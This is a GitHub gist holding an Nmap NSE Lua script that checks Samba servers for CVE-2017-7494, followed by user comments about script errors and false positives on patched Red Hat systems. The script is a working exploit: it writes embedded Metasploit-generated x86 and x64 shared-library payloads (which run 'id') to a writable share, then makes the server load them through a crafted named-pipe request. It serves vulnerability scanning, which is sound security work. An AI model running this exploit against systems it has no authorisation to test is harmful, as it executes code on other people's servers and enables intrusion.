-
-
Save wongwaituck/62c863ba7aa28a2d22d0fe9cbe14a18b to your computer and use it in GitHub Desktop.
| local smb = require "smb" | |
| local string = require "string" | |
| local vulns = require "vulns" | |
| local stdnse = require "stdnse" | |
| local table = require "table" | |
| local nmap = require "nmap" | |
| description = [[ | |
| Checks if target machines are vulnerable to the arbitrary shared library load | |
| vulnerability CVE-2017-7494. | |
| Unpatched versions of Samba from 3.5.0 to 4.4.13, and versions prior to | |
| 4.5.10 and 4.6.4 are affected by a vulnerability that allows remote code | |
| execution, allowing a malicious client to upload a shared library to a writable | |
| share, and then cause the server to load and execute it. | |
| The script does not scan the version numbers by default as the patches released | |
| for the mainstream Linux distributions do not change the version numbers. | |
| The script checks the preconditions for the exploit to happen: | |
| 1) If the argument check-version is applied, the script will ONLY check | |
| whether the service running is vulnerable versions of Samba. This is | |
| useful if you wish to scan a group of hosts quickly for the vulnerability | |
| based on the version number. However, some patched versions may still | |
| show up as likely vulnerable. Here, we use smb.get_os(host) to do | |
| versioning of the Samba version and compare it to see if it is a known | |
| vulnerable version of Samba. Note that this check is not conclusive: | |
| See 2,3,4 | |
| 2) Whether there exists writable shares for the execution of the script. | |
| We must be able to write to a file to the share for the exploit to | |
| take place. We hence enumerate the shares using | |
| smb.share_find_writable(host) which returns the main_name, main_path | |
| and a list of writable shares. | |
| 3) Whether the workaround (disabling of named pipes) was applied. | |
| When "nt pipe support = no" is configured on the host, the service | |
| would not be exploitable. Hence, we check whether this is configured | |
| on the host using smb.share_get_details(host, 'IPC$'). The error | |
| returned would be "NT_STATUS_ACCESS_DENIED" if the workaround is | |
| applied. | |
| 4) Whether we can invoke the payloads from the shares. | |
| Using payloads from Metasploit, we upload the library files to | |
| the writable share obtained from 2). We then make a named pipe request | |
| using NT_CREATE_ANDX_REQUEST to the actual local filepath and if the | |
| payload executes, the status return will be false. Note that only | |
| Linux_x86 and Linux_x64 payloads are tested in this script. | |
| This script is based on the metasploit module written by hdm. | |
| References: | |
| * https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/samba/is_known_pipename.rb | |
| * https://www.samba.org/samba/security/CVE-2017-7494.html | |
| * http://blog.nsfocus.net/samba-remote-code-execution-vulnerability-analysis/ | |
| ]] | |
| --- | |
| -- @usage nmap --script samba-vuln-cve-2017-7494 -p 445 <target> | |
| -- @usage nmap --script samba-vuln-cve-2017-7494 --script-args samba-vuln-cve-2017-7494.check-version -p445 <target> | |
| -- @output | |
| -- PORT STATE SERVICE | |
| -- 445/tcp open microsoft-ds | |
| -- MAC Address: 00:0C:29:16:04:53 (VMware) | |
| -- | |
| -- | samba-vuln-cve-2017-7494: | |
| -- | VULNERABLE: | |
| -- | SAMBA Remote Code Execution from Writable Share | |
| -- | State: VULNERABLE | |
| -- | IDs: CVE:CVE-2017-7494 | |
| -- | Risk factor: HIGH CVSSv3: 7.5 (HIGH) (CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H) | |
| -- | All versions of Samba from 3.5.0 onwards are vulnerable to a remote | |
| -- | code execution vulnerability, allowing a malicious client to upload a | |
| -- | shared library to a writable share, and then cause the server to load | |
| -- | and execute it. | |
| -- | | |
| -- | Disclosure date: 2017-05-24 | |
| -- | Check results: | |
| -- | Samba Version: 4.3.9-Ubuntu | |
| -- | Writable share found. | |
| -- | Name: \\192.168.15.131\test | |
| -- | Exploitation of CVE-2017-7494 succeeded! | |
| -- | Extra information: | |
| -- | All writable shares: | |
| -- | Name: \\192.168.15.131\test | |
| -- | References: | |
| -- | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7494 | |
| -- |_ https://www.samba.org/samba/security/CVE-2017-7494.html | |
| -- | |
| -- @xmloutput | |
| -- <table key="CVE-2017-7494"> | |
| -- <elem key="title">SAMBA Remote Code Execution from Writable Share</elem> | |
| -- <elem key="state">VULNERABLE</elem> | |
| -- <table key="ids"> | |
| -- <elem>CVE:CVE-2017-7494</elem> | |
| -- </table> | |
| -- <table key="scores"> | |
| -- <elem key="CVSSv3">7.5 (HIGH) (CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H)</elem> | |
| -- </table> | |
| -- <table key="description"> | |
| -- <elem>All versions of Samba from 3.5.0 onwards are vulnerable to a remote
code execution vulnerability, allowing a malicious client to upload a
shared library to a writable share, and then cause the server to load
and execute it.
</elem> | |
| -- </table> | |
| -- <table key="dates"> | |
| -- <table key="disclosure"> | |
| -- <elem key="year">2017</elem> | |
| -- <elem key="day">24</elem> | |
| -- <elem key="month">05</elem> | |
| -- </table> | |
| -- </table> | |
| -- <elem key="disclosure">2017-05-24</elem> | |
| -- <table key="check_results"> | |
| -- <elem>Samba Version: 4.3.9-Ubuntu</elem> | |
| -- <elem>Writable share found. 
 Name: \\192.168.15.131\test</elem> | |
| -- <elem>Exploitation of CVE-2017-7494 succeeded!</elem> | |
| -- </table> | |
| -- <table key="extra_info"> | |
| -- <elem>All writable shares:</elem> | |
| -- <elem> Name: \\192.168.15.131\test</elem> | |
| -- </table> | |
| -- <table key="refs"> | |
| -- <elem>https://www.samba.org/samba/security/CVE-2017-7494.html</elem> | |
| -- <elem>https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7494</elem> | |
| -- </table> | |
| -- </table> | |
| -- @args samba-vuln-cve-2017-7494.check-version Check only the version numbers the target's Samba service. Default: false | |
| -- | |
| --- | |
| author = "Wong Wai Tuck" | |
| license = "Same as Nmap--See https://nmap.org/book/man-legal.html" | |
| categories = {"vuln","intrusive"} | |
| hostrule = function(host) | |
| return smb.get_port(host) ~= nil | |
| end | |
| dependencies = {"smb-os-discovery", "smb-brute"} | |
| --linux/x86/exec (CMD=id) | |
| local PAYLOAD_X86 = { | |
| 0x7F, 0x45, 0x4C, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
| 0x03, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0xF6, 0x00, 0x00, 0x00, 0x34, 0x00, 0x00, 0x00, | |
| 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x02, 0x00, 0x28, 0x00, | |
| 0x02, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
| 0x00, 0x00, 0x00, 0x00, 0x1C, 0x01, 0x00, 0x00, 0x42, 0x01, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, | |
| 0x00, 0x10, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0xC4, 0x00, 0x00, 0x00, | |
| 0xC4, 0x00, 0x00, 0x00, 0xC4, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00, | |
| 0x00, 0x10, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
| 0xC4, 0x00, 0x00, 0x00, 0xC4, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
| 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
| 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF4, 0x00, 0x00, 0x00, 0xF4, 0x00, 0x00, 0x00, | |
| 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
| 0x00, 0x00, 0x00, 0x00, 0x0C, 0x00, 0x00, 0x00, 0xF6, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, | |
| 0xF4, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0xF4, 0x00, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x00, | |
| 0x00, 0x00, 0x00, 0x00, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
| 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6A, 0x0B, 0x58, 0x99, 0x52, 0x66, 0x68, 0x2D, 0x63, 0x89, | |
| 0xE7, 0x68, 0x2F, 0x73, 0x68, 0x00, 0x68, 0x2F, 0x62, 0x69, 0x6E, 0x89, 0xE3, 0x52, 0xE8, 0x03, | |
| 0x00, 0x00, 0x00, 0x69, 0x64, 0x00, 0x57, 0x53, 0x89, 0xE1, 0xCD, 0x80, | |
| } | |
| --linux/x64/exec (CMD=id) | |
| local PAYLOAD_X64 = { | |
| 0x7F, 0x45, 0x4C, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
| 0x03, 0x00, 0x3E, 0x00, 0x01, 0x00, 0x00, 0x00, 0x92, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
| 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
| 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x02, 0x00, 0x40, 0x00, 0x02, 0x00, 0x01, 0x00, | |
| 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
| 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
| 0xBC, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE6, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
| 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, | |
| 0x30, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
| 0x30, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
| 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
| 0x01, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
| 0x30, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
| 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
| 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
| 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
| 0x90, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
| 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
| 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
| 0x0C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x92, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
| 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
| 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
| 0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
| 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
| 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
| 0x00, 0x00, 0x6A, 0x3B, 0x58, 0x99, 0x48, 0xBB, 0x2F, 0x62, 0x69, 0x6E, 0x2F, 0x73, 0x68, 0x00, | |
| 0x53, 0x48, 0x89, 0xE7, 0x68, 0x2D, 0x63, 0x00, 0x00, 0x48, 0x89, 0xE6, 0x52, 0xE8, 0x03, 0x00, | |
| 0x00, 0x00, 0x69, 0x64, 0x00, 0x56, 0x57, 0x48, 0x89, 0xE6, 0x0F, 0x05, | |
| } | |
| PAYLOAD_X86 = string.pack(string.rep("B", #PAYLOAD_X86), table.unpack(PAYLOAD_X86)) | |
| PAYLOAD_X64= string.pack(string.rep("B", #PAYLOAD_X64), table.unpack(PAYLOAD_X64)) | |
| -- directories to look through if actual path cannot be queried | |
| local COMMON_DIRS = {"/volume1/","/volume2/","/volume3/","/volume4/", | |
| "/shared/","/mnt/","/mnt/usb/","/media/","/mnt/media/","/var/samba/", | |
| "/tmp/","/home/","/home/shared/"} | |
| -- filename used to save into the shared folders | |
| local FILENAME = 'test.so' | |
| local payloads = {PAYLOAD_X86, PAYLOAD_X64} | |
| --- Determines whether the version of Samba is vulnerable and sets it in the | |
| -- table samba_cve. Note that version numbers may not indicate vulnerability | |
| -- as there are patches released (e.g. for Ubuntu) which did not change the | |
| -- version of Samba | |
| -- | |
| -- @param version The string containing the version of Samba | |
| -- @param samba_cve The vuln table containing information for the results | |
| local function determine_vuln_version(version, samba_cve) | |
| local major, minor, patch | |
| major, minor, patch = string.match(version,"(%d+)%.(%d+)%.(%d+).*") | |
| stdnse.debug("Major version: %s, Minor version: %s, Patch version: %s", major, minor, patch) | |
| major, minor, patch = tonumber(major), tonumber(minor), tonumber(patch) | |
| -- no patches available for 3.5.X and 3.6.X | |
| if major == 3 and minor >= 5 then | |
| samba_cve.state = vulns.STATE.LIKELY_VULN | |
| elseif major == 4 then | |
| if minor < 4 then | |
| samba_cve.state = vulns.STATE.LIKELY_VULN | |
| -- patched in 4.4.14 | |
| elseif minor == 4 and patch < 14 then | |
| samba_cve.state = vulns.STATE.LIKELY_VULN | |
| -- patched in 4.5.10 | |
| elseif minor == 5 and patch < 10 then | |
| samba_cve.state = vulns.STATE.LIKELY_VULN | |
| -- patched in 4.6.4 | |
| elseif minor == 6 and patch < 4 then | |
| samba_cve.state = vulns.STATE.LIKELY_VULN | |
| end | |
| end | |
| end | |
| --- Finds all writable shares on the target host and stores the name and path | |
| -- into samba_cve stable, using smb.share_find_writable | |
| -- | |
| -- @param host The target host | |
| -- @param samba_cve The vuln table containing information for the results | |
| -- @return (main_name, main_path) Two strings, containing the name of the main | |
| -- writable share and its path | |
| local function find_writable_shares(host, samba_cve) | |
| -- determine if there are writable shares | |
| local status, main_name, main_path, names | |
| status, main_name, main_path, names = smb.share_find_writable(host) | |
| -- successful in finding writable share | |
| if status then | |
| local msg = string.format("Writable share found. \n Name: %s", main_name) | |
| if main_path then | |
| msg = msg .. string.format("\n Path: %s ", main_path) | |
| end | |
| -- insert main writable directory with path into check_results | |
| table.insert(samba_cve.check_results, msg) | |
| -- insert names of other writable shares to extra_info | |
| if #names > 0 then | |
| table.insert(samba_cve.extra_info, string.format( | |
| "All writable shares:")) | |
| end | |
| for i = 1, #names, 1 do | |
| table.insert(samba_cve.extra_info, string.format(" Name: %s", main_name)) | |
| end | |
| else | |
| -- writable share enumeration failed, return error message stored in main_name | |
| local err = main_name | |
| table.insert(samba_cve.extra_info, err) | |
| main_name = nil | |
| end | |
| -- main_path is C:\<actual share> | |
| -- we map it to the equivalent statement in Unix filesystems | |
| -- i.e. /<actual share>/ | |
| if main_path then | |
| main_path = "/" .. string.sub(main_path, 4) .. "/" | |
| end | |
| return main_name, main_path | |
| end | |
| --- Check if the suggested workaround "nt pipe support = no" was applied on | |
| -- the target host. The script checks if details can be queried on IPC$ | |
| -- which in a typical case will return details on the IPC, but if the | |
| -- workaround is applied, an error of 'NT_STATUS_ACCESS_DENIED' is returned | |
| -- | |
| -- @param host The target host | |
| -- @param samba_cve The vuln table containing information for the results | |
| -- @return A boolean indicating the nt pipe support is enabled, which | |
| -- indicates the workaround was not applied | |
| local function is_ntpipesupport_enabled(host, samba_cve) | |
| -- do "nt pipe support = no" workaround check, in which case | |
| -- accessing 'IPC$' returns 'NT_STATUS_ACCESS_DENIED' | |
| local status, result | |
| status, result = smb.share_get_details(host, 'IPC$') | |
| if status and result['details'] == "NT_STATUS_ACCESS_DENIED" then | |
| samba_cve.state = vulns.STATE.NOT_VULN | |
| return false | |
| elseif not status then | |
| -- error accessing IPC$, present error to user | |
| local err = result | |
| table.insert(samba_cve.extra_info, err) | |
| end | |
| return true | |
| end | |
| --- Creates candidate paths for common directories of shares | |
| -- This is method is based off the Metasploit script. | |
| -- | |
| -- @param share_name Name of the share that you wish to write to | |
| -- ireturn Array of candidate paths of the shares, never nil | |
| local function enumerate_directories(share_name) | |
| local candidates = {} | |
| -- enumerate through all locations to find the file | |
| for i = 1, #COMMON_DIRS, 1 do | |
| table.insert(candidates, COMMON_DIRS[i]) | |
| table.insert(candidates, COMMON_DIRS[i] .. share_name) | |
| table.insert(candidates, COMMON_DIRS[i] .. string.upper(share_name)) | |
| table.insert(candidates, COMMON_DIRS[i] .. string.lower(share_name)) | |
| table.insert(candidates, COMMON_DIRS[i] .. string.gsub(share_name, " ", "_")) | |
| end | |
| return candidates | |
| end | |
| --- Uploads the payloads in the array into a file each on the writable share. | |
| -- Because the execution of the payload must match the architecture of the | |
| -- target system, the function will try to test against each payload from | |
| -- different architectures. The payloads were generated from Metasploit. | |
| -- | |
| -- The function will then test if the system is vulnerable by making a NT | |
| -- Create AndX Request on the IPC$ on the actual path of the file containing | |
| -- the payload. It will first try to see if the actual path was retrieved | |
| -- using previously by checking for the path argument. If it is not supplied, | |
| -- because we do not know where the actual files are stored on the filesystem, | |
| -- we have to make guesses on common directories. The status returned when | |
| -- the payload executes is false, indicating that the system is vulnerable. | |
| -- | |
| -- @param host The target host | |
| -- @param samba_cve The vuln table containing information for the results | |
| -- @param payloads An array containing payloads from different architectures | |
| -- @param name The name of the writable share | |
| -- @param path The canonical path of the share | |
| local function test_cve2017_7494(host, samba_cve, payloads, name, path) | |
| local status, result, err, share_name | |
| local candidates = {} | |
| -- create the files of both payloads on the share | |
| -- the files are named as follows: | |
| -- <index><base_filename> | |
| for i, l_payload in ipairs(payloads) do | |
| for _, anon in ipairs({true, false}) do | |
| status, err = smb.file_write(host, l_payload, name, | |
| tostring(i) .. FILENAME, anon) | |
| stdnse.debug1("Write file status %s , err %s", status, err) | |
| if status then break end | |
| end | |
| end | |
| -- check if a proper filepath is returned from smb probes and use it | |
| if path then | |
| table.insert(candidates, path) | |
| else | |
| share_name = string.match(name, "\\\\.*\\(.*)") .. '/' | |
| candidates = enumerate_directories(share_name) | |
| end | |
| -- try all candidate payloads | |
| for h = 1, #payloads, 1 do | |
| local l_filename = tostring(h) .. FILENAME | |
| -- loop through all common candidate paths | |
| for i = 1, #candidates, 1 do | |
| local path = candidates[i] .. l_filename | |
| local pipe_formats = {"\\\\PIPE\\".. path , path} | |
| -- test both pipe formats for each path | |
| for j = 1, #pipe_formats, 1 do | |
| local curr_path = pipe_formats[j] | |
| -- make an simple SMB connection to IPC$ | |
| local status, smbstate = smb.start_ex(host, true, true, "\\\\" .. | |
| host.ip .. "\\IPC$", nil, nil, nil) | |
| if not status then | |
| stdnse.debug1("Could not connect to IPC$") | |
| else | |
| local overrides = {} | |
| local smb_header, smb_params, smb_cmd | |
| -- perform NT Create NX Request on candidate file paths | |
| -- a correct filepath would return status failure on vulnerable systems | |
| -- NT_CREATE_ANDX opcode is 0xa2 | |
| smb_header = smb.smb_encode_header(smbstate, 0xa2, overrides) | |
| local str_len = string.len(curr_path) | |
| -- referenced from https://msdn.microsoft.com/en-us/library/ee442175.aspx | |
| smb_params = string.pack("<B B I2 B I2 I4 I4 I4 I8 I4 I4 I4 I4 I4 B I2 z", | |
| 0xff, -- AndXCommand (1 byte) | |
| 0x0, -- AndXReserved (1 byte) | |
| 0x0, -- AndXOffset (2 bytes) | |
| 0x0, -- Reserved (1 byte) | |
| str_len, -- NameLength (2 bytes) | |
| 0x16, -- Flags (4 bytes) | |
| 0x0, -- RootDirectoryFID (4 bytes) | |
| 0x2000000, -- DesiredAccess (4 bytes) | |
| 0x0, -- AllocationSize (8 bytes) | |
| 0x0, -- ExtFileAttributes (4 bytes) | |
| 0x7, -- ShareAccess (4 bytes) | |
| 0x1, -- CreateDisposition (4 bytes) | |
| 0x0, -- CreateOptions (4 bytes) | |
| 0x2, -- ImpersonationLevel (4 bytes) | |
| 0x00, -- SecurityFlags (1 byte) | |
| str_len+1, -- ByteCount (2 bytes) | |
| curr_path -- File Name | |
| ) | |
| overrides['parameters_length'] = 0x18 | |
| stdnse.debug2("SMB: Sending NT_CREATE_ANDX request of length %d", #smb_params) | |
| status, err = smb.smb_send(smbstate, smb_header, smb_params, '', overrides) | |
| stdnse.debug1('Querying - status: %s , curr_path %s , result: %s', | |
| status, curr_path, result) | |
| -- parse the results from the smbstate | |
| result, smb_header = smb.smb_read(smbstate) | |
| _, smb_cmd, err = string.unpack("<c4 B I4", smb_header) | |
| stdnse.debug1("result %s, curr_path %s, error %s", result, curr_path, err) | |
| -- on payload execution, result will be false | |
| if not result then | |
| samba_cve.state = vulns.STATE.VULN | |
| table.insert(samba_cve.check_results, | |
| "Exploitation of CVE-2017-7494 succeeded!") | |
| return | |
| end | |
| end | |
| end | |
| end | |
| end | |
| if samba_cve.state ~= vulns.STATE.VULN and not path then | |
| samba_cve.state = vulns.STATE.LIKELY_VULN | |
| table.insert(samba_cve.check_results, | |
| 'File written to remote share, but unable to execute payload either due to unknown actual path, or the system may be patched.') | |
| end | |
| end | |
| action = function(host,port) | |
| local port = nmap.get_port_state(host,{number=smb.get_port(host),protocol='tcp'}) | |
| local result, stats | |
| local response = {} | |
| local samba_cve = { | |
| title = "SAMBA Remote Code Execution from Writable Share", | |
| IDS = {CVE = 'CVE-2017-7494'}, | |
| risk_factor = "HIGH", | |
| scores = { | |
| CVSSv3 = "7.5 (HIGH) (CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H)" | |
| }, | |
| description = [[ | |
| All versions of Samba from 3.5.0 onwards are vulnerable to a remote | |
| code execution vulnerability, allowing a malicious client to upload a | |
| shared library to a writable share, and then cause the server to load | |
| and execute it. | |
| ]], | |
| references = { | |
| 'https://www.samba.org/samba/security/CVE-2017-7494.html', | |
| }, | |
| dates = { | |
| disclosure = {year = '2017', month = '05', day = '24'}, | |
| }, | |
| check_results = {}, | |
| extra_info = {} | |
| } | |
| local report = vulns.Report:new(SCRIPT_NAME, host, port) | |
| samba_cve.state = vulns.STATE.NOT_VULN | |
| local check_version = stdnse.get_script_args(SCRIPT_NAME .. ".check-version") or false | |
| -- check if they put false or similar | |
| if check_version and string.lower(check_version) == "false" then | |
| check_version = nil | |
| end | |
| local version = port.version.version | |
| -- retrieve version of samba using smb.get_os | |
| if not version then | |
| local status, result = smb.get_os(host) | |
| if(status == false) then | |
| return stdnse.format_output(false, result) | |
| end | |
| -- result.lanmanager contains OS version information | |
| -- string returned by result.lanmanager looks like Samba 4.3.9-Ubuntu | |
| -- we only want 4.3.9-Ubuntu | |
| if string.match(result.lanmanager,"^Samba ") then | |
| version = string.match(result.lanmanager,"^Samba (.*)") | |
| else | |
| return stdnse.format_output(false, | |
| "Either versioning failed or samba does not exist on the port!") | |
| end | |
| end | |
| table.insert(samba_cve.check_results, | |
| string.format("Samba Version: %s",version)) | |
| if check_version then | |
| stdnse.debug("Port Version: %s", port.version.version) | |
| -- determine if version is vulnerable | |
| determine_vuln_version(version, samba_cve) | |
| else | |
| local name, path | |
| -- vulnerability requires library to be written to share | |
| name, path = find_writable_shares(host, samba_cve) | |
| stdnse.debug1("Writable share name: %s, Path returned: %s", name, path) | |
| -- do "nt pipe support = no" workaround check, which prevents exploitation | |
| local ntpipe_enabled = is_ntpipesupport_enabled(host, samba_cve) | |
| -- some patches for samba will be marked vulnerable | |
| -- e.g. 2:4.3.11+dfsg-0ubuntu0.16.04.7 | |
| -- in reality they are not vulnerable | |
| -- patched versions prevents named pipes containing '/' | |
| -- more information is available on the patch | |
| -- https://git.samba.org/?p=samba.git;a=blobdiff;f=source3/rpc_server/srv_pipe.c;h=f79fbe26abff1e3a2b3f3a21480196afc09d13b1;hp=39f5fb49ec3c0e011a5c6ad4b7ac60bcf49af05a;hb=02a76d86db0cbe79fcaf1a500630e24d961fa149;hpb=82bb44dd3b7f42b90494294b32f8413a39cb2030 | |
| -- therefore we need to ascertain if the exploit works | |
| if name and ntpipe_enabled then | |
| test_cve2017_7494(host, samba_cve, payloads, name, path) | |
| for i, _ in ipairs(payloads) do | |
| smb.file_delete(host, name, tostring(i) .. FILENAME) | |
| end | |
| end | |
| end | |
| return report:make_output(samba_cve) | |
| end |
I received the below errors indicating a problem on line 130. The fork provided by marcurdy seems to have modified 130 (and potentially others?) and fixed the error. I just wanted to point this out as something appears to be causing issues. I still receive errors on a handful of machines. However, running debug seems to indicate the script finishes fine, no errors are apparent.
Initiating NSE at 14:32
NSE: Starting samba-vuln-cve-2017-7494 against 10.x.x.x.
NSE: [samba-vuln-cve-2017-7494 10.x.x.x] SMB: Added account '' to account list
NSE: [samba-vuln-cve-2017-7494 10.x.x.x] SMB: Added account 'guest' to account list
NSE: [samba-vuln-cve-2017-7494 10.x.x.x] LM Password:
NSE: [samba-vuln-cve-2017-7494 10.x.x.x] LM Password:
NSE: samba-vuln-cve-2017-7494 against 10.x.x.x threw an error!
/usr/bin/../share/nmap/scripts/samba-vuln-cve-2017-7494.nse:130: variable 'std' is not declared
stack traceback:
[C]: in function 'error'
/usr/bin/../share/nmap/nselib/strict.lua:80: in metamethod '__index'
/usr/bin/../share/nmap/scripts/samba-vuln-cve-2017-7494.nse:130: in function </usr/bin/../share/nmap/scripts/samba-vuln-cve-2017-7494.nse:113>
(...tail calls...)
Completed NSE at 14:32, 0.63s elapsed
@Hankhh : Version checks from a remote system are usually not that fine-grained unfortunately. In the latest version of the script, I completely skip the version check by default and try to run the actual exploit on the system.
@BeanBagKing : You have spotted a really careless mistake of mine! I have fixed it quite some time ago in my pull request on nmap, which should be the authoritative source for the script.
Hi, I get this error message when running the script:
root@srv0virt:~# nmap --script samba-vuln-cve-2017-7494.nse -p445 -iL list1
Starting Nmap 6.40 ( http://nmap.org ) at 2017-06-05 23:09 UTC
NSE: Failed to load samba-vuln-cve-2017-7494.nse:
samba-vuln-cve-2017-7494.nse:194: attempt to call field 'pack' (a nil value)
stack traceback:
samba-vuln-cve-2017-7494.nse:194: in function samba-vuln-cve-2017-7494.nse:1
NSE: failed to initialize the script engine:
/usr/bin/../share/nmap/nse_main.lua:547: could not load script
stack traceback:
[C]: in function 'error'
/usr/bin/../share/nmap/nse_main.lua:547: in function 'new'
/usr/bin/../share/nmap/nse_main.lua:783: in function 'get_chosen_scripts'
/usr/bin/../share/nmap/nse_main.lua:1271: in main chunk
[C]: in ?
QUITTING!
Thanks for your time.
@syrius01 Make sure you have the latest verion of Nmap ( which is 7.40) specially If you're using Ubuntu. Yours seems to be the old one. (To see which version is being used ---> nmap -v)
Manual nmap update ;
https://uvelinux.com/install-nmap-linux-ubuntu-fedora-redhat-suse/
There is potential false positive possibility while using this script against Redhat enterprise server v6 based on the official RedHat security page;
https://rhn.redhat.com/errata/RHSA-2017-1270.html#Red
the latest Samba update for Red Hat Enterprise Linux Workstation (v. 6) is
SRPMS:
samba-3.6.23-43.el6_9.src.rpm
In this case, if you scan a host using the above script, it will show you the host is vulnerable, which is kind of false positive.
Redhat has the official script for the CVE-2017-7494, which you can use to make sure if any Samba inRedhat v6 servers are vulnerable or not.
https://access.redhat.com/sites/default/files/cve-2017-7494.sh
(It should be run locally on the target server)